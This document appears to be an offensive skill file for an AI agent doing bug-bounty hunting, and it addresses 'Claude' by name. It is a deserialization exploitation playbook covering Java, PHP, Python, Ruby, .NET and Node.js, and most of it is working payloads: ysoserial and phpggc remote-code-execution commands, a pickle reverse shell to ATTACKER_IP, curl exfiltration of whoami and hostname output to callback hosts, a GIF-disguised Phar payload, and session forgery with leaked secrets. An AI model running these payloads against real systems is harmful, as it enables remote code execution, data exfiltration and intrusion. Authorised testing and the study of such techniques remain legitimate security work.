Deep Deserialization Exploitation

Traffic Analysis Checklist

Scan every request and response for these indicators:

1. Cookies - decode all cookie values (base64, URL-encoded). Look for serialized object patterns.
2. POST body parameters - especially parameters named data, state, object, session, payload, token, viewstate.
3. HTTP headers - custom headers carrying state (X-Session-Data, X-State, X-Object).
4. Request bodies - binary POST bodies, multipart uploads, SOAP/XML envelopes.
5. WebSocket frames - binary or base64-encoded frames.
6. Hidden form fields - __VIEWSTATE, javax.faces.ViewState, JSESSIONID with serialized data.

Magic Bytes Reference Table

Parameter Name Signals

These parameter names strongly suggest serialized data:

• viewstate, __VIEWSTATE, __VIEWSTATEGENERATOR, __EVENTVALIDATION
• javax.faces.ViewState (JSF)
• data, state, object, payload, serialized, marshal
• session, token (when not a JWT - check structure)
• pickle, pickled, cached, stored
• rO0 prefix in any parameter value (Java)

Content-Type Signals

Quick Detection Commands

# Decode base64 cookie and check magic bytes
echo "COOKIE_VALUE_HERE" | base64 -d | xxd | head -5

# Search proxy traffic for Java serialized data
# (use ProxyEngine proxy_get_flows with search="rO0A")

# Search for PHP serialized data in responses
# Look for patterns like O:14:"ClassName":3:{

Attack Class 1: Java Deserialization (Highest Impact)

Java deserialization is the most common and highest-impact deserialization vulnerability class. Enterprise applications, middleware (WebLogic, JBoss, Jenkins, WebSphere), and custom Java services frequently deserialize untrusted data.

Step 1: Confirm Deserialization with URLDNS

The URLDNS gadget chain triggers a DNS lookup with zero side effects - no code execution, no file writes, no crashes. It works with any JDK (no extra libraries needed) and is the safest way to confirm deserialization.

# Generate URLDNS payload
java -jar ysoserial.jar URLDNS "http://UNIQUE-ID.oastify.com" | base64 -w0

# Or use the all-in-one version
java -jar ysoserial.jar URLDNS "http://deser-test.YOUR-BURP-COLLAB.oastify.com" > urldns.bin

# Send as binary POST body
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @urldns.bin https://target.com/vulnerable-endpoint

# Send as base64 in a parameter
PAYLOAD=$(java -jar ysoserial.jar URLDNS "http://UNIQUE-ID.oastify.com" | base64 -w0)
curl -X POST -d "data=${PAYLOAD}" https://target.com/vulnerable-endpoint

# Send as cookie
curl -b "session=${PAYLOAD}" https://target.com/

If you receive a DNS callback, deserialization is confirmed. Proceed to classpath discovery.

Step 2: Classpath Discovery

To select the right gadget chain, you need to know which libraries are on the target's classpath.

Methods to discover the classpath:

1. Error messages - send a malformed serialized object (truncated base64). Java stack traces often reveal library versions:

   echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hc" | base64 -d > truncated.bin
   curl -X POST --data-binary @truncated.bin https://target.com/endpoint
   # Stack trace may reveal: org.apache.commons.collections.functors...
   

2. Spring Boot Actuator - /actuator/env, /actuator/beans, /actuator/configprops expose dependency info.

3. JavaScript bundles - search for library names in client-side JS. Build tools sometimes embed dependency metadata.

4. HTTP headers - X-Powered-By, Server, error pages reveal framework versions.

5. Known defaults - if you identify the application server:

   • WebLogic: commons-collections 3.x (almost always)
   • JBoss/WildFly: commons-collections, commons-beanutils
   • Jenkins: commons-collections, Groovy
   • Apache Tomcat: minimal, but plugins add libraries

Step 3: Chain Selection and Exploitation

# Generate RCE payload (example: CommonsCollections6)
java -jar ysoserial.jar CommonsCollections6 "curl http://CALLBACK/$(whoami)" | base64 -w0

# If you don't know the classpath, try multiple chains
for chain in CommonsCollections1 CommonsCollections2 CommonsCollections5 \
             CommonsCollections6 CommonsCollections7 CommonsBeanutils1 \
             Spring1 Groovy1 ROME; do
  echo "=== Testing ${chain} ==="
  PAYLOAD=$(java -jar ysoserial.jar ${chain} \
    "curl http://${chain}.YOUR-OOB.com" | base64 -w0)
  curl -s -o /dev/null -b "session=${PAYLOAD}" https://target.com/
  sleep 2
done
# Check OOB server for callbacks - the chain name in the subdomain tells you which worked

Step 4: Blind Exploitation

When the application does not return output from deserialized objects:

1. DNS callback (URLDNS) - confirms deserialization occurs
2. HTTP callback - curl http://CALLBACK/$(whoami) in the command
3. DNS exfiltration - curl http://$(whoami).CALLBACK/ exfils data via subdomain
4. Time-based - sleep 10 and measure response delay (less reliable)

# DNS exfiltration of command output
java -jar ysoserial.jar CommonsCollections6 \
  'bash -c {echo,Y3VybCBodHRwOi8vJChob3N0bmFtZSkuQ0FMTEJBQ0sv}|{base64,-d}|{bash,-i}' \
  | base64 -w0

# The base64 decodes to: curl http://$(hostname).CALLBACK/

When Known Chains Fail: Custom Gadget Chain Construction

Claude: you understand object-oriented programming, serialization internals, and method dispatch. Apply that knowledge here. This is the procedure:

Step 1: Map available classes

• Java: trigger a ClassNotFoundException with a fake class name. The stack trace reveals the classloader and available packages. Also check /actuator/beans, error pages, and JS bundles for dependency lists.
• PHP: trigger autoload errors. Check composer.json/composer.lock (often exposed). Run phpggc -l to see if ANY chain matches installed libraries.
• Python: if you can execute dir() or trigger an import error, you see available modules.
• .NET: check web.config for assemblies, error pages for stack traces, /bin/ directory for DLLs.

Step 2: Find the entry point class The deserialized object needs a magic method that triggers automatically:

• Java: readObject(), readResolve(), finalize()
• PHP: __destruct(), __wakeup(), __toString(), __call()
• Python: __reduce__, __setstate__
• Ruby: marshal_load
• .NET: OnDeserialization(), ISerializable constructor

Search available classes for these methods. Each one is a potential chain entry point.

Step 3: Trace from entry to dangerous sink From each entry point method, follow the call chain:

• Does it call toString() on a property you control? - Find a class whose toString() does something dangerous
• Does it call equals() or hashCode()? - Common in Java chains (HashMap triggers these)
• Does it invoke a method on a property? - Set that property to an object with a dangerous method
• Does it read/write files? - Path traversal via controlled filename property
• Does it execute commands? - Direct RCE

Step 4: Build the chain backwards Start from the sink (what you want to achieve: RCE, file read, SSRF) and work backwards:

1. What class has a method that calls system()/exec()/Runtime.exec()?
2. What class calls THAT class's method during deserialization?
3. What class calls THAT class?
4. Continue until you reach a class with a magic method (entry point)

Step 5: Construct and test

• Java: write a Java program that constructs the object graph and serializes it
• PHP: write a PHP script that creates the nested objects and serializes
• Python: construct the object with reduce returning your chain
• Test against the target with OOB callback first (safe confirmation before RCE)

If you can't build a chain in 30 minutes: report the deserialization itself as the finding. "Unsafe deserialization of user-controlled input" is accepted as High on most programs even without RCE, because the program can't prove no chain exists in their dependency tree.

Java-specific fallbacks when ysoserial chains all fail:

1. JDK-only chains - research current JDK gadgets (these evolve with each JDK release)
2. Bypass deserialization filters - if ObjectInputFilter is used, find allowed classes that can be chained
3. JNDI injection - if the deserializer triggers JNDI lookups, use JRMPClient to redirect to your JRMP listener running a different exploit

Proof Requirements for Reports

• Minimum (P1 severity): URLDNS DNS callback proving deserialization occurs
• Ideal (Critical): Command execution via OOB callback showing whoami or hostname output
• Evidence: Screenshot of OOB server receiving the callback, full curl command reproducing the issue

Attack Class 2: PHP Object Injection

PHP object injection occurs when user input reaches unserialize(). Unlike Java, PHP does not have a universal gadget library - chains are application-specific, built from autoloaded classes.

Step 1: Detect Deserialization

# Safe test object - will not cause side effects
# O:8:"stdClass":0:{} is the safest PHP test payload
curl -X POST -d 'data=O:8:"stdClass":0:{}' https://target.com/endpoint

# Check for differences vs normal input
# If the app processes it without error, unserialize() is likely called

# Trigger an error to confirm - use an invalid serialized string
curl -X POST -d 'data=O:99:"NonExistentClass":0:{}' https://target.com/endpoint
# A PHP warning about "Class not found" confirms unserialize()

Step 2: Identify Autoloaded Classes

PHP autoloaders (Composer PSR-4) mean any class in the vendor/ directory is available for gadget chains. Identify the framework:

• Check response headers - X-Powered-By: PHP/8.x, Set-Cookie: laravel_session, Set-Cookie: PHPSESSID
• Check known paths - /vendor/autoload.php (403 vs 404), /composer.json, /composer.lock
• Error pages - framework-specific error pages reveal version info

Step 3: Framework-Specific Chains

Laravel (most common modern PHP target):

// Laravel PendingBroadcast chain (versions 5.x - 9.x)
// Triggers: __destruct() -> dispatch() -> call()
// This chain executes system commands via the Dispatcher

// Serialized payload (modify the command):
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"\x00*\x00events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"\x00*\x00listeners";a:1:{s:1:"x";a:1:{i:0;s:6:"system";}}}s:8:"\x00*\x00event";s:19:"curl CALLBACK/pwned";}

Symfony:

// Symfony Process chain - executes commands via Process::__destruct()
// Check phpggc for current chains:
// https://github.com/ambionics/phpggc

// Generate with phpggc:
// php phpggc Symfony/RCE4 system "curl CALLBACK/$(whoami)" -s

WordPress:

WordPress chains depend on installed plugins. Check wp-content/plugins/ for plugin names, then search phpggc for matching chains.

phpggc - the PHP ysoserial equivalent:

# List all available chains
php phpggc -l

# Generate a specific chain
php phpggc Laravel/RCE10 system "curl http://CALLBACK/$(whoami)" -s -b

# Output as base64
php phpggc Laravel/RCE10 system "curl http://CALLBACK/$(whoami)" -b

# Chains to try for unknown frameworks
php phpggc -l | grep RCE

Step 4: Phar Deserialization

Phar deserialization triggers unserialize() WITHOUT the application calling unserialize() directly. Any PHP file operation function that accepts a phar:// wrapper can trigger it.

Vulnerable functions: file_exists(), fopen(), file_get_contents(), file(), include(), finfo_file(), getimagesize(), exif_read_data(), stat(), filetype(), is_file(), is_dir(), copy(), unlink(), rename(), mkdir(), rmdir(), and many more.

The hard part: finding the POP chain. Phar triggers unserialize() on the metadata, so you need a valid chain for the target's framework and libraries:

1. Known framework chains (fastest): Use phpggc - it has pre-built chains for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, Doctrine, Guzzle, Monolog, SwiftMailer, and 30+ more. Run phpggc -l to list all available chains, phpggc -l | grep RCE for RCE-capable ones.
2. Framework detection: Check composer.json or composer.lock (often exposed at /composer.json, /composer.lock, or leaked via error pages/debug mode). These list every PHP dependency with exact versions - match against phpggc chains.
3. Manual chain construction (when phpggc has no chain): Look for autoloaded classes with dangerous operations in __destruct(), __wakeup(), __toString(), or __call(). Start from the sink (file write, exec, eval, system) and work backwards through property assignments to find a chain of objects where setting properties on one triggers a method on the next.
4. If you can't find an RCE chain: The Phar deserialization itself is still a finding. Report it with a safe proof like SplFileObject to read /etc/hostname, and note that RCE chains may exist in the dependency tree. Triagers accept unsafe deserialization as High even without full RCE if you demonstrate the unserialize trigger.

Attack flow:

1. Identify the POP chain (phpggc, composer.lock analysis, or manual construction)
2. Create a Phar archive with your chain as metadata
3. Upload it (rename to .gif, .jpg, .png to bypass upload filters)
4. Trigger a file operation on phar://uploads/your-file.gif

<?php
// Run locally to generate the Phar payload
// Requires phar.readonly=0 in php.ini

class VulnerableClass {
    // Set properties to match your POP chain
    public $command = "curl http://CALLBACK/$(whoami)";
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
// GIF89a header makes it pass image upload validation
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$o = new VulnerableClass();
$phar->setMetadata($o);
$phar->addFromString('x', 'x');
$phar->stopBuffering();

// Rename to bypass upload extension filters
rename('exploit.phar', 'exploit.gif');
echo "Phar payload written to exploit.gif\n";
?>

Triggering the Phar deserialization:

# If you control a file path parameter:
curl "https://target.com/image-check?file=phar://uploads/exploit.gif/x"

# If the app processes uploaded files:
# Upload exploit.gif, then trigger any file operation on it
# Look for: thumbnail generation, image validation, file info display

Proof Requirements

• Minimum: Demonstrate unserialize() is called on user input (error message, behavior change)
• Ideal: Command execution via POP chain with OOB callback
• Phar variant: Show the upload, then the trigger via phar:// wrapper

Attack Class 3: Python Pickle and YAML

Python pickle is insecure by design - the documentation explicitly warns against unpickling untrusted data. Any call to pickle.loads(), pickle.load(), joblib.load(), or torch.load() on user-controlled data is exploitable.

Step 1: Detect Pickle Deserialization

# Check magic bytes of base64-encoded values
echo "VALUE_HERE" | base64 -d | xxd | head -3
# Protocol 2: starts with 80 02
# Protocol 4: starts with 80 04 95
# Protocol 5: starts with 80 05 95

# Send a malformed pickle to trigger an error
echo "gASVBAAAAAAAAACULg==" | base64 -d > malformed.pkl
curl -X POST --data-binary @malformed.pkl https://target.com/endpoint
# UnpicklingError in response confirms pickle.loads() is called

Step 2: Craft RCE Payload

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        # __reduce__ controls how the object is reconstructed during unpickling
        # os.system() executes a shell command
        return (os.system, ('curl http://CALLBACK/$(whoami)',))

payload = base64.b64encode(pickle.dumps(Exploit(), protocol=2)).decode()
print(payload)

# For Python 2 targets, use protocol=0 or protocol=2
# For Python 3 targets, protocol=4 is standard but 2 works too

Alternative payloads for different scenarios:

# Reverse shell via pickle
import pickle, base64

class ReverseShell:
    def __reduce__(self):
        import subprocess
        return (subprocess.call, ([
            'bash', '-c',
            'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
        ],))

print(base64.b64encode(pickle.dumps(ReverseShell())).decode())

# DNS exfiltration via pickle (stealthier)
import pickle, base64

class DNSExfil:
    def __reduce__(self):
        import os
        return (os.system, (
            'curl http://$(hostname).CALLBACK/',
        ))

print(base64.b64encode(pickle.dumps(DNSExfil())).decode())

Step 3: YAML Unsafe Load

Python's yaml.load() without Loader=SafeLoader is equivalent to pickle in terms of exploitability.

# RCE via !!python/object/apply
!!python/object/apply:os.system ['curl http://CALLBACK/$(whoami)']

# Alternative: subprocess
!!python/object/apply:subprocess.check_output [['curl', 'http://CALLBACK/pwned']]

# Read file content via DNS exfiltration
!!python/object/apply:os.system
  - 'curl http://CALLBACK/$(cat /etc/hostname)'

Detection: Send a YAML payload that triggers a safe but observable side effect:

# Time-based detection - causes a 5-second delay
!!python/object/apply:time.sleep [5]

Common Surfaces

jsonpickle Detection

If you see JSON responses containing py/object, py/reduce, or py/type keys, the application uses jsonpickle:

{"py/object": "some.module.ClassName", "py/state": {"attr": "value"}}

This is exploitable the same way as pickle - craft a JSON payload with py/reduce:

{
  "py/reduce": [
    {"py/type": "os.system"},
    {"py/tuple": ["curl http://CALLBACK/$(whoami)"]}
  ]
}

Attack Class 4: Ruby Marshal

Ruby's Marshal.load() deserializes arbitrary Ruby objects. Rails applications are the primary target, especially those using cookie-based session stores.

Step 1: Detect Marshal Deserialization

# Check if a cookie value starts with Marshal magic bytes
echo "COOKIE_VALUE" | base64 -d | xxd | head -3
# Marshal: starts with 04 08

# Send a minimal marshaled value
ruby -e 'puts [Marshal.dump(0)].pack("m0")'
# Result: BAhpAA==
# Send this as a cookie/parameter value and observe behavior

Step 2: Rails Cookie-Based Sessions

Rails applications using CookieStore serialize session data with Marshal. The cookie is signed (and optionally encrypted) with secret_key_base.

Finding the secret key:

1. Git history - search for secret_key_base in commits, config files
2. Environment variables - exposed via SSRF to cloud metadata, /proc/self/environ
3. Default secrets - some Rails apps ship with default secrets in development mode
4. Leaked in error pages - detailed error pages may show config values
5. Known CVEs - CVE-2013-0156, CVE-2019-5420 (secret generation bypass)

# Search GitHub for leaked secrets
# Use git_miner.py for this
python {AGENT}/engine/core/git_miner.py target-org --pattern "secret_key_base"

Step 3: Exploitation with Known Secret

If you have the secret_key_base, you can forge arbitrary session cookies containing marshaled objects:

# Generate exploit cookie (run locally)
require 'openssl'
require 'base64'

# The Universal Deserialisation Gadget for Ruby (ERB template execution)
# Works on most Ruby/Rails versions
code = "system('curl http://CALLBACK/$(whoami)')"

# Build the gadget chain
# ERB + Gem::Requirement + Gem::StubSpecification chain
# Use the rails_secret_deserialization tool or manual construction

# For Rails 5+, the cookie is encrypted, not just signed
# You need both secret_key_base and the key derivation parameters

Ruby Marshal Exploitation Procedure

Rails cookie-based sessions:

1. Check if session cookie is base64-encoded Marshal data (decode, check for \x04\x08 prefix)
2. If session uses Marshal AND you have secret_key_base: forge arbitrary session
3. Secret discovery: check config/secrets.yml, .env, environment variables in error pages, GitHub history

Without the secret (universal gadget):

1. If the app deserializes user input via Marshal.load (not just session cookies):
2. Use the ERB + Gem::Requirement chain (works on Ruby 2.x-3.x):
   • Construct: Gem::Requirement.new(Gem::DependencyList.new) with ERB template containing system() call
   • Claude: you know the exact chain structure. Build it for the target Ruby version.
3. Encode as Marshal data, send where the app calls Marshal.load

Other Marshal.load() surfaces (when no secret is available):

• Sidekiq jobs - job arguments stored in Redis as Marshal data
• Redis session store - if sessions are in Redis, and Redis is accessible
• API endpoints - custom endpoints accepting binary data
• File uploads - files processed with Marshal.load()

Detection without exploitation:

1. Send \x04\x08\x22\x07hi (Marshal.dump("hi")) - if accepted without error, Marshal.load is called
2. Send truncated Marshal data - if error mentions "marshal data too short", confirmed
3. Report: "Unsafe Marshal.load on user input" with detection evidence. This is High severity.

Proof Requirements

• With secret: Forged session cookie demonstrating arbitrary object instantiation
• Without secret: OOB callback from Marshal.load() on user-controlled input
• RCE proof: Command execution via ERB or system() gadget chain
• Detection only: Marshal.load confirmed via error message or behavioral difference - still High severity

Attack Class 5: .NET Deserialization

.NET deserialization vulnerabilities affect ViewState, BinaryFormatter, SoapFormatter, DataContractSerializer, and .NET Remoting.

Step 1: ViewState Analysis

# Decode __VIEWSTATE from a form
echo "VIEWSTATE_VALUE" | base64 -d | xxd | head -10

# Check if MAC validation is enabled
# If the ViewState is not signed, you can inject arbitrary serialized objects

# Send a modified ViewState - if you get a MAC validation error,
# the ViewState is protected. If it processes normally, it is vulnerable.

# Check for __VIEWSTATEGENERATOR - this is a hash of the page class
# and can help identify the framework version

Step 2: ViewState Without MAC Validation

If MAC validation is disabled (ASP.NET 4.0 and earlier default, or misconfigured):

# Use ysoserial.net to generate ViewState payload
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "curl http://CALLBACK/$(whoami)" -o base64

# Inject as __VIEWSTATE parameter
curl -X POST -d "__VIEWSTATE=PAYLOAD_HERE&__VIEWSTATEGENERATOR=..." \
  https://target.com/page.aspx

Step 3: ViewState With Known Machine Key

If you find the machineKey in web.config (via LFI, SSRF, backup files, or Git leaks):

<!-- web.config machineKey example -->
<machineKey validationKey="HEXKEY..." decryptionKey="HEXKEY..."
  validation="SHA1" decryption="AES" />

# Generate signed/encrypted ViewState with ysoserial.net
ysoserial.exe -p ViewState \
  -g TypeConfuseDelegate \
  -c "curl http://CALLBACK/$(whoami)" \
  --validationkey="HEXKEY" \
  --decryptionkey="HEXKEY" \
  --validationalg="SHA1" \
  --decryptionalg="AES" \
  --path="/vulnerable/page.aspx" \
  --apppath="/"

Step 4: BinaryFormatter in Custom Code

Beyond ViewState, search for direct BinaryFormatter usage:

• Content-Type: application/octet-stream with .NET stack
• Custom serialization endpoints - API endpoints accepting binary POST bodies
• .NET Remoting - TCP or HTTP channels using BinaryFormatter

# ysoserial.net chains for BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter \
  -c "curl http://CALLBACK/$(whoami)" -o base64

# Other useful chains
ysoserial.exe -g PSObject -f BinaryFormatter -c "COMMAND"
ysoserial.exe -g ActivitySurrogateSelector -f BinaryFormatter -c "COMMAND"
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "COMMAND"

Step 5: DataContractSerializer and JSON.NET

Some .NET applications use DataContractSerializer or Newtonsoft JSON.NET with TypeNameHandling enabled:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c curl http://CALLBACK/pwned"
    }
  }
}

Detection: If a JSON API includes $type in responses, TypeNameHandling is likely enabled. Inject a $type field in your request and observe behavior.

.NET Exploitation Procedure

ViewState without MAC (rare but devastating):

1. Decode __VIEWSTATE (base64)
2. If no MAC: inject ysoserial.net payload directly
3. ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "curl http://CALLBACK" | base64
4. Replace __VIEWSTATE value with payload, submit form

ViewState with MAC but known machineKey:

1. Check for machineKey in web.config (LFI, backup files, GitHub leaks, error pages)
2. If found: generate signed ViewState with payload using the key
3. Tool: ysoserial.exe -p ViewState -g TypeConfuseDelegate --validationkey=KEY --validationalg=SHA1 -c "curl http://CALLBACK"

BinaryFormatter in custom code:

1. Look for Content-Type: application/octet-stream or custom binary POST bodies
2. Send ysoserial.net payload (TypeConfuseDelegate, PSObject, or ActivitySurrogateSelector)
3. If error reveals .NET version: match gadget chain to framework version

JSON.NET with TypeNameHandling:

1. If API accepts JSON with $type field: TypeNameHandling is enabled
2. Payload: {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c curl http://CALLBACK"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
3. This works when TypeNameHandling != None

Proof Requirements

• ViewState: Modified ViewState accepted without MAC error (info), or RCE via ysoserial.net chain
• BinaryFormatter: OOB callback from injected payload
• JSON.NET: Command execution via ObjectDataProvider chain

Attack Class 6: Node.js Deserialization

Node.js deserialization vulnerabilities primarily affect the node-serialize package, though other packages like cryo and funcster are also vulnerable.

Step 1: Detect node-serialize

The signature marker is _$$ND_FUNC$$_ in JSON values. If you see this in cookies, request bodies, or API responses, node-serialize is in use.

# Check if a cookie contains serialized node-serialize data
echo "COOKIE_VALUE" | base64 -d
# Look for _$$ND_FUNC$$_ marker

Step 2: IIFE (Immediately Invoked Function Expression) Injection

node-serialize evaluates functions marked with _$$ND_FUNC$$_. Adding () at the end makes it an IIFE that executes during deserialization.

{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://CALLBACK/$(whoami)')}()"
}

# Send as JSON body
curl -X POST -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").execSync(\"curl http://CALLBACK/$(whoami)\")}()"}' \
  https://target.com/api/endpoint

# Send as base64-encoded cookie
PAYLOAD=$(echo -n '{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").execSync(\"curl http://CALLBACK/pwned\")}()"}' | base64 -w0)
curl -b "session=${PAYLOAD}" https://target.com/

Step 3: Other Dangerous Packages

Step 4: Prototype Pollution to RCE (Related)

While not strictly deserialization, prototype pollution in JSON parsing can lead to RCE when combined with gadgets in the application. If you find prototype pollution (via __proto__ or constructor.prototype injection), check for:

• child_process.spawn/exec with options derived from object properties
• Template engines (Handlebars, Pug, EJS) that use properties from polluted prototypes
• Module loading with polluted NODE_OPTIONS or similar

Proof Requirements

• node-serialize: OOB callback from IIFE execution
• Evidence: Full curl command reproducing the RCE, screenshot of callback received

Cross-Class Escalation Patterns

Deserialization vulnerabilities chain powerfully with other bug classes. Always look for these combinations:

Chain 1: File Upload + Phar Deserialization (PHP)

1. Upload a Phar archive disguised as an image (GIF89a header)
2. Find any file operation that accepts user-controlled paths
3. Trigger via phar://uploads/evil.gif - executes your POP chain without unserialize() being called

Chain 2: SSRF + Internal Deserialization Endpoint

1. Find an SSRF vulnerability on the external-facing application
2. Discover internal services (via cloud metadata, port scanning, or error messages)
3. Internal services often lack input validation - send serialized payloads via SSRF
4. Escalate from SSRF (medium) to RCE (critical)

Chain 3: Information Disclosure + Targeted Chain Selection (Java)

1. Find an info leak (stack trace, actuator endpoint, debug page)
2. Extract classpath information (which libraries and versions are present)
3. Select the exact ysoserial chain for the available libraries
4. Achieve RCE with a single targeted payload instead of brute-forcing chains

Chain 4: LFI/XXE + Credential Leak + Session Forgery

1. Use LFI or XXE to read configuration files
2. Extract secret_key_base (Rails), APP_KEY (Laravel), or machineKey (.NET)
3. Forge arbitrary sessions containing malicious serialized objects
4. Achieve RCE through the application's own session deserialization

Chain 5: Blind Deserialization + OOB Data Exfiltration

1. Confirm blind deserialization via DNS callback (URLDNS, curl to OOB)
2. Use DNS exfiltration to extract data: curl http://$(cat /etc/hostname).CALLBACK/
3. Exfiltrate sensitive files chunk by chunk via DNS labels or HTTP callbacks
4. Build a complete picture of the internal environment for further exploitation

Chain 6: ViewState + Web.config Disclosure

1. Find a path traversal or LFI vulnerability
2. Read web.config to extract machineKey values
3. Forge ViewState payloads with valid MAC signatures
4. Achieve RCE via signed ViewState injection

Relationship to Other Skills

Quick Reference: Payload Cheat Sheet

# Java - URLDNS detection (safe, no side effects)
java -jar ysoserial.jar URLDNS "http://ID.oastify.com" | base64 -w0

# Java - RCE via CommonsCollections6
java -jar ysoserial.jar CommonsCollections6 "curl http://CALLBACK" | base64 -w0

# PHP - Safe detection
O:8:"stdClass":0:{}

# PHP - phpggc Laravel RCE
php phpggc Laravel/RCE10 system "curl http://CALLBACK" -b

# Python - Pickle RCE
python3 -c "import pickle,base64,os;exec('class E:\n def __reduce__(self):\n  return(os.system,(\"curl CALLBACK\",))\nprint(base64.b64encode(pickle.dumps(E())).decode())')"

# Python - YAML RCE
!!python/object/apply:os.system ['curl http://CALLBACK']

# Ruby - Marshal detection
echo "BAhpAA==" | base64 -d  # Marshal.dump(0)

# .NET - ViewState RCE
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "COMMAND" -o base64

# Node.js - node-serialize RCE
{"x":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl CALLBACK')}()"}

Decision Tree: Which Attack Class?

Found serialized data
├── Starts with rO0A / ac ed 00 05?
│   └── YES -> Attack Class 1 (Java) -> URLDNS first, then chain selection
├── Starts with O: / a: / s: / i:?
│   └── YES -> Attack Class 2 (PHP) -> stdClass test, then phpggc chains
├── Starts with gASV / 80 04 95?
│   └── YES -> Attack Class 3 (Python) -> __reduce__ payload
├── Contains !!python/ in YAML?
│   └── YES -> Attack Class 3 (Python YAML) -> object/apply payload
├── Starts with BAg / 04 08?
│   └── YES -> Attack Class 4 (Ruby) -> check for Rails secret
├── __VIEWSTATE parameter present?
│   └── YES -> Attack Class 5 (.NET) -> MAC validation check
├── AAEAAAD prefix / 00 01 00 00 00?
│   └── YES -> Attack Class 5 (.NET BinaryFormatter) -> ysoserial.net
├── Contains _$$ND_FUNC$$_?
│   └── YES -> Attack Class 6 (Node.js) -> IIFE injection
├── JSON with $type field?
│   └── YES -> Attack Class 5 (.NET JSON.NET) -> ObjectDataProvider
└── JSON with py/object or py/reduce?
    └── YES -> Attack Class 3 (jsonpickle) -> py/reduce payload